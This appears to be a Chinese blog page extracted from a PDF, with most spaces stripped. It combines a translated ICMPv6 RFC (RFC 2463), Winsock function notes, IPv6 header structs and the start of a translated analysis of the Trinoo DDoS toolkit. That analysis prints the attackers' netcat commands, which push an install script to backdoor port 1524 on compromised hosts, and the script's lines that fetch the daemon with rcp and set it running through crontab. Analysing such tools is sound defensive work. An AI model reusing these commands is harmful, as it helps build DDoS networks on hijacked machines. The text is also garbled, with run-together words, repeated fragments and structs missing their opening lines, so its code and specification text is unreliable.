置為10報(bào)告一個(gè)不認(rèn)識(shí)的IPv6選項(xiàng))，或者(e.3)—個(gè)作為鏈路層多播的包，(e.2中指出的兩條例外情況也適用于這里)，或者(e.4)一個(gè)作為鏈路層廣播的包，(e.2中指出的兩條例外情況也適用于這里)，或者(e.5)一個(gè)源地址并不是指明的一個(gè)唯一的節(jié)點(diǎn)的包，比如：IPv6未指明地址，IPv6多目地址，或一個(gè)ICMPv6報(bào)文發(fā)送者知道的IPv6任意播地址最后，為了限制由于發(fā)送ICMPv6差錯(cuò)報(bào)文引起的帶寬和轉(zhuǎn)發(fā)的代價(jià)，一個(gè)IPv6節(jié)點(diǎn)必須限制它發(fā)送的ICMPv6差錯(cuò)報(bào)文的比率。當(dāng)源站發(fā)送一串錯(cuò)誤的包，并且沒(méi)有注意到由此產(chǎn)生的ICMPv6差錯(cuò)報(bào)文的時(shí)候，這種情況就可能發(fā)生。有一系列的實(shí)現(xiàn)限制比率的方法，比如：(f.1)基于定時(shí)器的一一比如：對(duì)給定的源站或者對(duì)任意的源站，限制傳送ICMPv6差錯(cuò)報(bào)文的比率，每T毫秒最多發(fā)送一次。(f.2)基于帶寬的——比如：限制從特定接口發(fā)出的的差錯(cuò)報(bào)文的比率，相連接的帶寬上最多利用自己的F來(lái)發(fā)送。限制的參數(shù)（比如：以上例子中的T或F）必須是針對(duì)節(jié)點(diǎn)配置的，且每個(gè)參數(shù)有缺省值（比如：T=1秒，不是0秒；F=2%，不是0%）以下幾節(jié)描述了以上ICMPv6報(bào)文的格式。ICMPv6差錯(cuò)報(bào)文3.1目的不可達(dá)報(bào)文071531類(lèi)型代碼校驗(yàn)和未使用在不超過(guò)最小IPv6MTU的情況下，包括了盡可能大的引起出錯(cuò)的包。IPv6字段：目的地址從引起出錯(cuò)的包的源地址字段拷貝來(lái)的ICMPv6字段：類(lèi)型1代碼0-沒(méi)有路由到目的同目的的通訊由于管理被禁止（沒(méi)有指派）地址不可達(dá)端口不可達(dá)未使用這個(gè)字段對(duì)所有的代碼值都是不可用的。它必須被發(fā)送者初始化為0,被接受者忽略描述一個(gè)目的不可達(dá)報(bào)文應(yīng)該由路由器或源節(jié)點(diǎn)的IPv6層產(chǎn)生，作為對(duì)由于除阻塞以外原因使得包不能傳送到目的地址的回應(yīng)。（如果由于阻塞導(dǎo)致包丟失的話，必須不會(huì)產(chǎn)生一個(gè)ICMPv6報(bào)文）如果傳送失敗的原因是由于才轉(zhuǎn)發(fā)節(jié)點(diǎn)上的路由表中缺少對(duì)應(yīng)的表項(xiàng)，代碼字段將被置為0。（注意：這種錯(cuò)誤只有在節(jié)點(diǎn)路由表中缺少缺省路由表項(xiàng)時(shí)才可能發(fā)生。）如果傳送失敗的原因是由于管理的禁止，比如：防火墻過(guò)濾，代碼字段被置為1。如果傳送失敗是由于任何其他的原因，比如：不能把IPv6地址映射成相應(yīng)的鏈路層地址，或某種鏈路層特定的錯(cuò)誤，代碼字段將被置為3。如果對(duì)收到的包傳輸層協(xié)議（如UDP）沒(méi)有監(jiān)聽(tīng)者的且傳輸層協(xié)議沒(méi)有別的措施來(lái)通知發(fā)送者的話，目的節(jié)點(diǎn)應(yīng)該發(fā)送一個(gè)目的不可達(dá)報(bào)文，代碼字段置4。上層通告當(dāng)節(jié)點(diǎn)收到ICMPv6目的不可達(dá)報(bào)文時(shí)，必須通知上一層進(jìn)程。3.2包過(guò)大報(bào)文071531類(lèi)型代碼校驗(yàn)和最大傳輸單元在不超過(guò)最小IPv6MTU的情況下，包括了盡可能大的引起出錯(cuò)的包。IPv6字段目的地址從引起出錯(cuò)的包的源地址字段拷貝來(lái)的

類(lèi)型代碼它必須被發(fā)送者初始化為0,被接受者忽略。類(lèi)型代碼它必須被發(fā)送者初始化為0,被接受者忽略。最大傳輸單元下一跳鏈路的最大傳輸單元。描述一個(gè)包過(guò)大報(bào)文必須由路由器發(fā)出，作為對(duì)因?yàn)榘蟪^(guò)了出口鏈路的最大傳輸單元而不能轉(zhuǎn)發(fā)的回應(yīng)。這個(gè)報(bào)文中的信息作為進(jìn)程的一部分，在最大路徑傳輸單元進(jìn)程中使用發(fā)送包過(guò)大報(bào)文是甚麼時(shí)候發(fā)送ICMPv6差錯(cuò)報(bào)文規(guī)則的一個(gè)例外。因?yàn)椴幌笃渌膱?bào)文，它的發(fā)送是作為接收到有著IPv6多播地址或鏈路層多播或鏈路層廣播地址的包的回應(yīng)。上層通告一個(gè)到來(lái)的包過(guò)大報(bào)文必須被送到上層進(jìn)程。3.3超時(shí)報(bào)文071531類(lèi)型代碼校驗(yàn)和未使用在不超過(guò)最小IPv6MTU的情況下，包括了盡可能大的引起出錯(cuò)的包。IPv6字段：目的地址從引起出錯(cuò)的包的源地址字段拷貝來(lái)的ICMPv6字段：類(lèi)型3代碼0-傳送過(guò)程中超過(guò)了跳數(shù)限制1-分片重組超時(shí)未使用這個(gè)字段對(duì)所有的代碼值都是不可用的。它必須被發(fā)送者初始化為0,被接受者忽略描述如果一個(gè)路由器收到一個(gè)跳數(shù)限制為0的包，或是它將跳數(shù)限制減去1后變?yōu)?，那這個(gè)路由器必須丟棄這個(gè)包并且發(fā)一個(gè)代碼為0的ICMPv6超時(shí)報(bào)文給源站點(diǎn)。這種情況通常意味著一個(gè)路由環(huán)路或是初始的跳數(shù)限制值太小。上層通告一個(gè)到來(lái)的超時(shí)報(bào)文必須被送到上層進(jìn)程。71531類(lèi)型代碼校驗(yàn)和指針在不超過(guò)最小IPv6MTU的情況下，包括了盡可能大的引起出錯(cuò)的包。從引起出錯(cuò)的包的源地址字段拷貝來(lái)的40-錯(cuò)誤的首部字段3.4參數(shù)出錯(cuò)報(bào)文IPv6字段:目的地址ICMPv6字段:類(lèi)型代碼1-不可識(shí)別的下一首部類(lèi)型2-不可識(shí)別的IPv6選項(xiàng)指針指出了在引起出錯(cuò)的包中錯(cuò)誤出現(xiàn)地方的八位偏移量。如果源包引起錯(cuò)誤的字段即使在ICMPv6差錯(cuò)報(bào)文達(dá)到最大長(zhǎng)度時(shí)也描述如果一個(gè)IPv6節(jié)點(diǎn)因?yàn)榘l(fā)現(xiàn)了IPv6首部或其擴(kuò)展首部中的某個(gè)字段有問(wèn)題而導(dǎo)致對(duì)包的處理失敗，那它必須丟棄這個(gè)包并發(fā)送一個(gè)ICMPv6參數(shù)錯(cuò)誤報(bào)文給源站，指出出錯(cuò)的地方和出錯(cuò)的類(lèi)型。指針字段指出了檢測(cè)出錯(cuò)誤的地方相對(duì)于源包首部的八位組。比如，一個(gè)類(lèi)型為代碼為1的，指針字段值為40的ICMPv6報(bào)文，指出了源包中跟在IPv6基本首部后的IPv6擴(kuò)展首部的下一首部字段有一個(gè)不被識(shí)別的值。上層通告一個(gè)節(jié)點(diǎn)收到ICMPv6報(bào)文時(shí)必須通報(bào)上層進(jìn)程。4.ICMPv6信息報(bào)文4.1回顯請(qǐng)求報(bào)文071531類(lèi)型代碼校驗(yàn)和標(biāo)識(shí)序列號(hào)數(shù)據(jù)…IPv6字段：目的地址一個(gè)合法的IPv6地址ICMPv6字段：類(lèi)型128代碼0標(biāo)識(shí)用來(lái)將請(qǐng)求與應(yīng)答進(jìn)行匹配。也可能是0。序列號(hào)用來(lái)將請(qǐng)求與應(yīng)答進(jìn)行匹配。也可能是0。數(shù)據(jù)0或任意數(shù)據(jù)的八位組。描述每一個(gè)節(jié)點(diǎn)必須能夠完成ICMPv6回顯應(yīng)答者的功能，即在收到ICMPv6回顯請(qǐng)求發(fā)出相應(yīng)的ICMPv6回顯應(yīng)答。為了診斷，一個(gè)節(jié)點(diǎn)還應(yīng)該能夠?yàn)榘l(fā)送請(qǐng)求接收應(yīng)答提供應(yīng)用層接口。上層通告回顯請(qǐng)求報(bào)文可能被送到接收ICMP報(bào)文的進(jìn)程。4.2回顯應(yīng)答報(bào)文071531類(lèi)型代碼校驗(yàn)和標(biāo)識(shí)序列號(hào)數(shù)據(jù)…IPv6字段：目的地址從引起出錯(cuò)的包的源地址字段拷貝來(lái)的ICMPv6字段：類(lèi)型129代碼0標(biāo)識(shí)相應(yīng)的回顯請(qǐng)求報(bào)文的標(biāo)識(shí)符。序列號(hào)相應(yīng)的回顯請(qǐng)求報(bào)文的序列號(hào)。數(shù)據(jù)相應(yīng)的回顯請(qǐng)求報(bào)文的數(shù)據(jù)。描述每一個(gè)節(jié)點(diǎn)必須能夠完成ICMPv6回顯應(yīng)答者的功能，即在收到ICMPv6回顯請(qǐng)求時(shí)發(fā)出相應(yīng)的ICMPv6回顯應(yīng)答。為了診斷，一個(gè)節(jié)點(diǎn)還應(yīng)該能夠?yàn)榘l(fā)送請(qǐng)求接收應(yīng)答提供應(yīng)用層接口。對(duì)一個(gè)單目地址的回顯請(qǐng)求報(bào)文應(yīng)答時(shí)，源地址必須和回顯請(qǐng)求報(bào)文的目的地址相同。如果回顯請(qǐng)求報(bào)文是發(fā)往多目地址的，應(yīng)該發(fā)送回顯應(yīng)答報(bào)文?；仫@應(yīng)答報(bào)文的源地址必須是一個(gè)屬于接收到多播回顯請(qǐng)求報(bào)文接口的單目地址。ICMPv6回顯請(qǐng)求報(bào)文中的數(shù)據(jù)必須在回顯應(yīng)答報(bào)文中必須被不加改變的完整的送回。上層通告回顯應(yīng)答報(bào)文必須被送到引起發(fā)送回顯請(qǐng)求報(bào)文的進(jìn)程。它也有可能被送到?jīng)]有引起發(fā)送回顯請(qǐng)求報(bào)文的進(jìn)程。安全考慮5.1ICMP報(bào)文的認(rèn)證和加密通過(guò)IP[IPv6-AUTH]認(rèn)證首部，交換的ICMP包能夠被認(rèn)證.如果目的地址的安全聯(lián)盟(SA)要求使用IP認(rèn)證首部的話，節(jié)點(diǎn)在發(fā)送ICMP報(bào)文時(shí)就應(yīng)該包括IP認(rèn)證首部。安全聯(lián)盟可以通過(guò)手工建立，也可以通過(guò)一些密鑰管理協(xié)議自動(dòng)建立。收到有認(rèn)證首部的ICMP包時(shí)，必須對(duì)它的正確性加以驗(yàn)證。如果包的認(rèn)證首部不正確的話，這個(gè)包必須被忽略，丟棄。這里也應(yīng)該有一種可能，系統(tǒng)管理員將節(jié)點(diǎn)配置為忽略任何使用認(rèn)證首部或封裝安全載荷(ESP)的ICMP報(bào)文，不對(duì)他們進(jìn)行驗(yàn)證。這種改變?cè)谌笔∏闆r下，應(yīng)該允許接收沒(méi)認(rèn)證的報(bào)文。機(jī)密性的問(wèn)題在IP安全結(jié)構(gòu)和IP封裝安全載荷文檔［IPv6-SA,IPv6-ESP］中有講解。5.2ICMP攻擊ICMP報(bào)文可能遭受到各種各樣的攻擊。在IP安全結(jié)構(gòu)文檔［IPv6-SA］中可以找到有關(guān)與此的完整的討論。一個(gè)簡(jiǎn)短的有關(guān)此類(lèi)攻擊即其防范的討論如下：有的攻擊故意使報(bào)文接收者認(rèn)為報(bào)文是從另外的源站發(fā)出的，而不是報(bào)文真正的產(chǎn)生者。防范這類(lèi)攻擊可對(duì)ICMP報(bào)文采取IPv6認(rèn)證機(jī)制［IPv6-AUTH］.有的攻擊故意使報(bào)文或者其應(yīng)答到達(dá)一個(gè)不是發(fā)起者想到的目的地。對(duì)于報(bào)文在源地址和目的地址之間通過(guò)IP包傳送時(shí)被惡意的攔截者攔截，并改變了報(bào)文的數(shù)據(jù)的情況，如果通過(guò)對(duì)ICMP報(bào)文進(jìn)行認(rèn)證［IPv6-AUTH］和加密［IPv6-ESP］而將ICMP的校驗(yàn)和字段加以保護(hù)，ICMP的校驗(yàn)和就能對(duì)這種情況提供防范機(jī)制。ICMP報(bào)文的信息字段或有效載荷可能被改變。對(duì)ICMP報(bào)文進(jìn)行認(rèn)證［IPv6-AUTH］和加密［IPv6-ESP］是對(duì)這種攻擊的一種防范機(jī)制。通過(guò)給先前的惡意的IP包回送，ICMP報(bào)文可能被用來(lái)試圖完成否認(rèn)服務(wù)攻擊。正確的遵循這個(gè)規(guī)范的2.4節(jié)，f段提到的ICMP錯(cuò)誤比率限制機(jī)制能夠提供防范。.參考文獻(xiàn)［IPv6］Deering,S.andR.Hinden,"InternetProtocol,Version(IPv6)Specification",RFC2460,December1998.［IPv6-ADDR］Hinden,R.andS.Deering,"IPVersion6AddressingArchitecture",RFC2373,July1998.[IPv6-DISC]Narten,T.,Nordmark,E.andW.Simpson,"NeighborDiscoveryforIPVersion6(IPv6)",RFC2461,December1998.[RFC-792]Postel,J.,"InternetControlMessageProtocol",STD5,RFC792,September1981.[RFC-1122]Braden,R.,"RequirementsforInternetHosts-CommunicationLayers",STD5,RFC1122,August1989.[PMTU]McCann,J.,Deering,S.andJ.Mogul,"PathMTUDiscoveryforIPversion6",RFC1981,August1996.[RFC-2119]Bradner,S.,"KeywordsforuseinRFCstoIndicateRequirementLevels",BCP14,RFC2119,March1997.[IPv6-SA]Kent,S.andR.Atkinson,"SecurityArchitecturefortheInternetProtocol",RFC2401,November1998.[IPv6-Auth]Kent,S.andR.Atkinson,"IPAuthenticationHeader",RFC2402,November1998.[IPv6-ESP]Kent,S.andR.Atkinson,"IPEncapsulatingSecurityProtocol(ESP)",RFC2406,November1998..致謝這篇文檔是從以前SIPP和Ipng工作組的ICMP草稿變化來(lái)的。Ipng工作組特別是RobertElz,JimBound,Bill,Simpson,ThomasNarten,CharlieLynn,BillFink,ScottBradner,DimitriHaskin,andBobHinden(按邏輯順序)供了深入的評(píng)論和回饋。.作者地址AlexContaLucentTechnologiesInc.300BakerAve,Suite100USAPhone:+1978287-2842EMail:aconta@StephenDeeringCiscoSystems,Inc.170WestTasmanDriveSanJose,CA95134-1706USAPhone:+1408527-8213EMail:deering@附錄A——自RFC1885以來(lái)的改變版本2-02-從2.4節(jié)f.2段開(kāi)始沒(méi)有提到信息回顯。-在“上層通告”段中，將“上層協(xié)議”和“用戶接口”改為“進(jìn)程”。-改變了5.2節(jié)第二條和第三條，都參考AH認(rèn)證。-將5.2節(jié)有關(guān)否認(rèn)服務(wù)攻擊的第5條刪除。-在“作者地址”節(jié)中更新了電話號(hào)碼和Email地址。版本2-01-將所有作為最大ICMP報(bào)文長(zhǎng)度的“576八位組”改為在基本IPv6規(guī)范中定義的“最小IPv6MTU-刪除了信息報(bào)文中的比率控制。-加入了接收者忽略包過(guò)大報(bào)文中代碼字段的需求。-刪除了目的不可達(dá)報(bào)文中的代碼2“不是鄰居”。-確定了格式，更新了參考。版本2-00-在信息報(bào)文中應(yīng)用了比率控制。-在組管理ICMP報(bào)文中刪除了2.4節(jié)。-刪除了對(duì)IGMP概述和第一節(jié)的參考。-更新了其它IPv6文檔的參考。-刪除了對(duì)RFC_1112概述，第一節(jié)，第一節(jié)和3.2節(jié)中RFC-1119的參考。-加入了安全一節(jié)。-加入了附錄A——改變。完整的版權(quán)聲明Copyright(C)TheInternetSociety(1998).AllRightsReserved.Thisdocumentandtranslationsofitmaybecopiedandfurnishedtoothers,andderivativeworksthatcommentonorotherwiseexplainitorassistinitsimplementationmaybeprepared,copied,publishedanddistributed,inwholeorinpart,withoutrestrictionofanykind,providedthattheabovecopyrightnoticeandthisparagraphareincludedonallsuchcopiesandderivativeworks.However,thisdocumentitselfmaynotbemodifiedinanyway,suchasbyremovingthecopyrightnoticeorreferencestotheInternetSocietyorotherInternetorganizations,exceptasneededforthepurposeofdevelopingInternetstandardsinwhichcasetheproceduresforcopyrightsdefinedintheInternetStandardsprocessmustbefollowed,orasrequiredtotranslateitintolanguagesotherthanEnglish.

ThelimitedpermissionsgrantedaboveareperpetualandwillnotberevokedbytheInternetSocietyoritssuccessorsorassigns.Thisdocumentandtheinformationcontainedhereinisprovidedonan"ASIS"basisandTHEINTERNETSOCIETYANDTHEINTERNETENGINEERINGTASKFORCEDISCLAIMSALLWARRANTIES,EXPRESSORIMPLIED,INCLUDINGBUTNOTLIMITEDTOANYWARRANTYTHATTHEUSEOFTHEINFORMATIONHEREINWILLNOTINFRINGEANYRIGHTSORANYIMPLIEDWARRANTIESOFMERCHANTABILITYORFITNESSFORAPARTICULARPURPOSE.針對(duì)因特網(wǎng)協(xié)議第六版（Ipv6）的因特網(wǎng)控制報(bào)文協(xié)議（ICMPv6）規(guī)RFC2463—ternetControlMessageProtocol(ICMPv6)fortheInternet范ProtocolVersion6(IPv6)Specification11RFC文檔中文翻譯計(jì)劃-作者：kyohiroyuki2006年03月30日，星期四15:39回復(fù)（1）|引用（0）加入博采^WindowsSocket簡(jiǎn)介WindowsSocket簡(jiǎn)介針對(duì)因特網(wǎng)協(xié)議第六版（Ipv6）的因特網(wǎng)控制報(bào)文協(xié)議（ICMPv6）規(guī)WindowsSocket簡(jiǎn)介這篇文章出自bugfree/CSDN平臺(tái)：VC6WindowsXP簡(jiǎn)介：—Windows的Socket函數(shù)有許多，我沒(méi)有做詳細(xì)介紹，這里的函數(shù)都是簡(jiǎn)要說(shuō)明其用途，詳細(xì)用法請(qǐng)參考MSDN.這里的主要目的是為了后面的三個(gè)應(yīng)用服務(wù).函數(shù)說(shuō)明：WSAStartup函數(shù)初始化Winsock［聲明］intWSAStarup(WORDwVersionRequested,LPWSADATAlpWSAData);［參數(shù)］wVersionRequested-要求使用Winsock的最低版本號(hào)lpWSAData-Winsock的詳細(xì)資料［返回值］當(dāng)函數(shù)成功調(diào)用時(shí)返回0失敗時(shí)返回非0的值---socket函數(shù)用于生成socket(soketDescriptor)［聲明］SOCKETsocket(intaf,inttype,intprotocol);［參數(shù)］af-地址家族(通常使用:AF_INET)type-socket的種類(lèi)SOCK_STREAM:用于TCP協(xié)議SOCK_DGRAM:用于UDP協(xié)議protocol-所使用的協(xié)議［返回值］當(dāng)函數(shù)成功調(diào)用時(shí)返回一個(gè)新的SOCKET(SocketDescriptor)失敗時(shí)返回INVALID_SOCKET.---inet_addr函數(shù)地址轉(zhuǎn)換，把"A.B.C.D"的IP地址轉(zhuǎn)換為32位長(zhǎng)整數(shù)［聲明］unsignedlonginet_addr(constcharFAR*cp);［參數(shù)］cp-指向IP地址字符串的指針［返回值］當(dāng)函數(shù)成功調(diào)用時(shí)返回用32位整數(shù)表示的IP地址失敗時(shí)返回INADDR_NONE.---gethostbyname函數(shù)從主機(jī)名獲取主機(jī)信息.［聲明］structhostentFAR*gethostbyname(constcharFAR*name);［參數(shù)］name-指向主機(jī)名字符串的指針［返回值］當(dāng)函數(shù)成功調(diào)用時(shí)返回主機(jī)信息失敗時(shí)返回NULL(空值)recv函數(shù)利用Socket進(jìn)行接受數(shù)據(jù).［聲明］intrecv(SOCKETs,charFAR*buf,intlen,intflags);［參數(shù)］s-指向用Socket函數(shù)生成的SocketDescriptorbuf-接受數(shù)據(jù)的緩沖區(qū)(數(shù)組)的指針len-緩沖區(qū)的大小flag-調(diào)用方式(MSG_PEEK或MSG_OOB)［返回值］成功時(shí)返回收到的字節(jié)數(shù).如果連接被中斷則返回0失敗時(shí)返回SOCKET_ERRORsendto函數(shù)發(fā)送數(shù)據(jù).［聲明］intsendto(SOCKETs,constcharFAR*buf,intlen,intflags,conststructsockaddrFAR*to,inttoken);［參數(shù)］s-指向用Socket函數(shù)生成的SocketDescriptorbuf-接受數(shù)據(jù)的緩沖區(qū)(數(shù)組)的指針len-緩沖區(qū)的大小flag-調(diào)用方式(MSG_DONTROUTE,MSG_OOB)to-指向發(fā)送方SOCKET地址的指針token-發(fā)送方SOCKET地址的大?。鄯祷刂担莩晒r(shí)返回已經(jīng)發(fā)送的字節(jié)數(shù).失敗時(shí)返回SOCKET_ERROR-作者：kyohiroyuki2006年03月30日，星期四15:08回復(fù)（1）|引用（0）加入博采?自定義IP頭的方法-作者：kyohiroyuki2006年03月30日，星期四14:56回復(fù)（0）|引用（0）加入博采?IPv6報(bào)頭，IPv6擴(kuò)展頭，ICMPv6報(bào)頭的數(shù)據(jù)結(jié)構(gòu)的定義IPv6報(bào)頭，IPv6擴(kuò)展頭，ICMPv6報(bào)頭的數(shù)據(jù)結(jié)構(gòu)的定義根據(jù)RFC1883定義typedefstruct_IPv6Hdr{u_int4_tip_ver;//IP版本號(hào)u_int8_tpriority;〃包優(yōu)先級(jí)u_int20_tflowlabel;〃流標(biāo)簽u_int16_tpayloadlength;//負(fù)載長(zhǎng)度u_int8_tnextheader;〃下一頭u_int8_thoplimit;〃跳數(shù)限制structin6_addrip_src;〃源IP地址structin6_addrip_dst;//目的IP地址}IPv6Hdr;u_int8_tnextheader;〃下一頭u_int8_thdrextlen;〃頭長(zhǎng)度structoptoptions;//}IPv6hopbyhopHdr;typedefstruct_IPv6RouHdr〃選路頭{u_int8_tnextheader;〃下一頭u_int8_thdrextlen;//頭長(zhǎng)度u_int8_troutingtype;//u_int8_tsegmentsleft;//structtyspdatatype_specificdata;//}IPv6RouHdr;typedefstruct_IPv6FraHdr〃分段頭{TOC\o"1-5"\h\zu_int8_tnextheader;//u_int8_treserved;//u_int13_tfragmentoffset;//u_int2_tres;//u_int1_tmflag;//u_int32_tidentification;//}IPv6FraHdr;u_int8_tnextheader;〃下一頭u_int8_thdrextlen;〃頭長(zhǎng)度structoptoptions;//}IPv6DesHdr;根據(jù)RFC1826定義typedefstruct_IPv6AutHdr//身份驗(yàn)證頭{u_int8_tnextheader;u_int8_tlength;u_int16_treserved;u_int32_tspi;〃安全參數(shù)索引structauthdataauthenticationdata;}IPv6AutHdr;根據(jù)RFC18271829定義typedefstruct_IPv6ESPHdr//ESP頭{u_int32_tspi:structoptrdataopaquetransformdata;〃與具體的加解密算法有關(guān)，長(zhǎng)度可變}IPv6ESPHdr;根據(jù)RFC18852463定義u_int8_ttype:u_int8_tcode;u_int16_tchecksum;union(u_int32_tmtu_or_pointer;//出錯(cuò)消息(errormessage)structidseq〃信息消息(informationmessage){u_int16_tid;u_int16_tseq;}idseq;}ICMPv6Hdr;存在一個(gè)問(wèn)題：對(duì)于可變長(zhǎng)度的數(shù)據(jù)結(jié)構(gòu)如何定義？-作者：kyohiroyuki2006年03月28日，星期二09:25回復(fù)(0)|引用(0)加入博采?Trinoo的官方分析DDoS攻擊工具——Trinoo分析(1)2005-11-2401:17出處:ChinaITLab簡(jiǎn)介本文是對(duì)拒絕服務(wù)攻擊工具包trinoo中主/從程序服務(wù)器的一些分析。Trinoo守護(hù)程序的二進(jìn)制代碼包最初是在一些Solaris2.x主機(jī)中發(fā)現(xiàn)的，這些主機(jī)是被攻擊者利用RPC服務(wù)安全漏洞”statd”、"cmsd"和"ttdbserverd”入侵的。關(guān)于這些漏洞的詳細(xì)資料請(qǐng)參閱CERT事件記錄99-04：

/incident_notes/IN-99-04.html最初的trinoo守護(hù)程序來(lái)源于某些基于UDP協(xié)議和有訪問(wèn)控制的遠(yuǎn)程命令shell,并很有可能附帶有能自動(dòng)記錄的嗅探器（sniffer）。在研究這個(gè)工具包的過(guò)程中，捕獲到了Trinoo攻擊網(wǎng)絡(luò)的安裝過(guò)程及一些源代碼。我們就是利用這些捕獲到的源代碼進(jìn)入了深入的分析。對(duì)這些源代碼的任何修改，如提示、口令、命令、TCP/UDP端口號(hào)或所支持的攻擊方法、簽名和具體功能，都可能使分析的結(jié)果與本文不同。該守護(hù)程序是在Solaris2.5.1和RedHatLinux6.0上編譯并運(yùn)行。主服務(wù)器（master）在RedHatLinux6.0上編譯和運(yùn)行。但也許守護(hù)程序和主服務(wù)器都可在其它同類(lèi)平臺(tái)中使用。Trinoo網(wǎng)絡(luò)可能包含幾百、甚至幾千臺(tái)已被入侵的互聯(lián)網(wǎng)主機(jī)組成。這些主機(jī)很可能都被裝上了各種”后門(mén)”以方便再次進(jìn)入系統(tǒng)。在1999年8月17日，一個(gè)由至少227臺(tái)主機(jī)（其中114臺(tái)屬于Internet2主機(jī)）組成的trinoo網(wǎng)絡(luò)攻擊了位于明尼蘇達(dá)（Minnessota）大學(xué)的一臺(tái)主機(jī)，其結(jié)果是該主機(jī)網(wǎng)絡(luò)崩潰超過(guò)兩天。而在調(diào)查這次攻擊期間，又有至少16臺(tái)其它主機(jī)被攻擊，其中包括了一些美國(guó)以外的主機(jī)。（請(qǐng)參閱附錄D以了解此次trinoo攻擊的報(bào)告。攻擊過(guò)程一次典型的攻擊過(guò)程很可能是這樣的：1）一個(gè)盜取來(lái)的帳號(hào)被用于編譯各種掃描工具、攻擊工具（如緩沖區(qū)溢出程序）、rootkit和sniffer,trinoo守護(hù)程序、主服務(wù)器、入侵主機(jī)、目標(biāo)主機(jī)清單等等。這個(gè)系統(tǒng)往往是一些擁有很多用戶、存在管理漏洞和具有高速連接速率（以進(jìn)行文件傳輸）的大型主機(jī)系統(tǒng)。2）然后對(duì)一個(gè)大范圍的網(wǎng)絡(luò)進(jìn)行掃描以確定潛在的入侵目標(biāo)。最有可能的是那些可能存在各種遠(yuǎn)程緩沖區(qū)溢出漏洞的主機(jī)，如wu-ftpd、RPC服務(wù)（cmsd,statd,ttdbserverd,amd）等。這些主機(jī)的操作系統(tǒng)最好是SunSolaris2.x和Linux，以便充分利用各種現(xiàn)成的rootkits和后門(mén)程序等。如果是其它系統(tǒng)則可用來(lái)保存工具和記錄。3）在得到入侵主機(jī)清單后，編寫(xiě)實(shí)現(xiàn)入侵攻擊、監(jiān)聽(tīng)TCP端口（通常為1524”ingreslock"）和連接到該端口以確定入侵成功的腳本程序。或者通過(guò)發(fā)送電子郵件到一個(gè)免費(fèi)WEB郵箱以確認(rèn)已入侵該主機(jī)。

入侵完成后將產(chǎn)生一個(gè)”被控制”主機(jī)清單，這些主機(jī)將被用于放置后門(mén)、sniffer或trinoo守護(hù)程序或trinoo主服務(wù)器。4）從已入侵系統(tǒng)清單中選出滿足建立trinoo網(wǎng)絡(luò)需要的主機(jī)，放置已編譯好的trinoo守護(hù)程序。5）最后，運(yùn)行DoS攻擊腳本，該腳本根據(jù)上面建立的被入侵主機(jī)清單，生成另外的腳本程序，在后臺(tái)以最快的速度自動(dòng)安裝。腳本使用"netcat"將shell腳本發(fā)送到被入侵主機(jī)的1524/tcp端口。./trin.sh|nc128.aaa.167.2171524&./trin.sh|nc128.aaa.167.2181524&./trin.sh|nc128.aaa.167.2191524&./trin.sh|nc128.aaa.187.381524&./trin.sh|nc128.bbb.2.801524&./trin.sh|nc128.bbb.2.811524&./trin.sh|nc128.bbb.2.2381524&./trin.sh|nc128.ccc.12.221524&./trin.sh|nc128.ccc.12.501524&其中的"trin.sh"腳本產(chǎn)生如下輸出:echo"rcp:leaf/usr/sbin/rpc.listen”echo"echorcpisdonemovingbinary"echo"chmod+x/usr/sbin/rpc.listen"

echo"echolaunchingtrinooecho"/usr/sbin/rpc.listen"cron"echo"crontabcron"echo"echolaunched"echo"exit"只要時(shí)常檢查crontab文件，可以輕易監(jiān)測(cè)到該主機(jī)是否已被trinoo侵入。在其它系統(tǒng)還發(fā)現(xiàn)了另一種方法：守護(hù)程序的名字被改為"xterm”，然后通過(guò)腳本執(zhí)行它。cd/var/adm/.1PATH=.:$PATHexportPATH&1在這個(gè)守護(hù)程序中通過(guò)運(yùn)行腳本來(lái)完成trinoo網(wǎng)絡(luò)的建立是完全有可能的。更隱蔽的方法是讓trinoo守護(hù)程序/主服務(wù)器只在某個(gè)給定時(shí)間才被喚醒運(yùn)行，并打開(kāi)監(jiān)聽(tīng)的TCP或UDP端口。整個(gè)自動(dòng)安裝過(guò)程使攻擊者在極短的時(shí)間內(nèi)，利用大量的被入侵主機(jī)建立了拒絕服務(wù)攻擊網(wǎng)絡(luò)。6）作為一種選擇，rootkit常常被安裝到系統(tǒng)中以隱藏攻擊程序、文件和網(wǎng)絡(luò)連接。這對(duì)運(yùn)行主服務(wù)器的系統(tǒng)更為重要，因?yàn)樗莟rinoo網(wǎng)絡(luò)的核心部份。（注：在許多情況下，主服務(wù)器往往被安裝在互聯(lián)網(wǎng)服務(wù)供應(yīng)商（ISP）的域名服務(wù)器上，DNS服務(wù)器大量的通訊流量、大量的TCP/UDP連接，將為隱蔽trinoo的網(wǎng)絡(luò)連接、攻擊過(guò)程和文件存放提供非常有利的幫助。（此外，除非能確定在域名服務(wù)器中存在拒絕服務(wù)工具的行為，否則系統(tǒng)管理員一般不會(huì)輕易中斷系統(tǒng)服務(wù)進(jìn)行安全檢查。）

Rootkits也可能在安裝了sniffer的系統(tǒng)中使用，例如"hunt"（TCP/IP會(huì)話監(jiān)視器）等可直接竊聽(tīng)網(wǎng)絡(luò)通訊細(xì)節(jié)的程序。這樣就不用通過(guò)遠(yuǎn)程緩沖區(qū)溢出程序進(jìn)入系統(tǒng)了。：）要想得到更多關(guān)于rootkits的資料，請(qǐng)?jiān)L問(wèn)以下網(wǎng)址：/dittrich/faq/rootkits.faq目標(biāo)主機(jī)Trinoo網(wǎng)絡(luò)由主服務(wù)器（master.c）和trinoo守護(hù)程序（ns.c）組成。一個(gè)典型的trinoo網(wǎng)絡(luò)結(jié)構(gòu)如下：攻擊者常常控制一個(gè)或多個(gè)”主服務(wù)器”服務(wù)器，而每一個(gè)”主服務(wù)器”服務(wù)器控制多個(gè)"守護(hù)程序”（我們可以稱(chēng)之為廣播主機(jī)”Bcast/broadcast”）。所有接收到指令的守護(hù)程序都使用攻擊數(shù)據(jù)包同時(shí)攻擊一個(gè)或多個(gè)目標(biāo)主機(jī)系統(tǒng)。Trinoo如何實(shí)現(xiàn)這個(gè)功能呢？是攻擊者與主服務(wù)器通過(guò)"telnet”協(xié)議建立TCP連接，并通過(guò)發(fā)送帶有口令的攻擊指令，實(shí)現(xiàn)大范圍、大流量、并發(fā)性的拒絕服務(wù)攻擊。通訊端口攻擊者到主服務(wù)器：27665/TCP主服務(wù)器到守護(hù)程序：27444/UDP守護(hù)程序到主服務(wù)器：31335/UDPTrinoo主服務(wù)器的遠(yuǎn)程控制是通過(guò)在27665/TCP端口建立TCP連接實(shí)現(xiàn)的。在連接建立后時(shí)，用戶必須提供正確的